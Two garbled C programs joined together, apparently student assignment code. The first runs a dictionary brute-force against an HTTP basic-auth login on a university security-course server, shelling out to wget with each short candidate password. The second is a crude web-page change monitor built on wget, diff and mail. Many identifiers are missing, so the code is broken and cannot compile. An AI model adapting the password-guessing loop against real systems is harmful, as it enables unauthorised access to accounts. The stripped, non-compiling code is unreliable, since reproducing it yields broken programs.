#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }
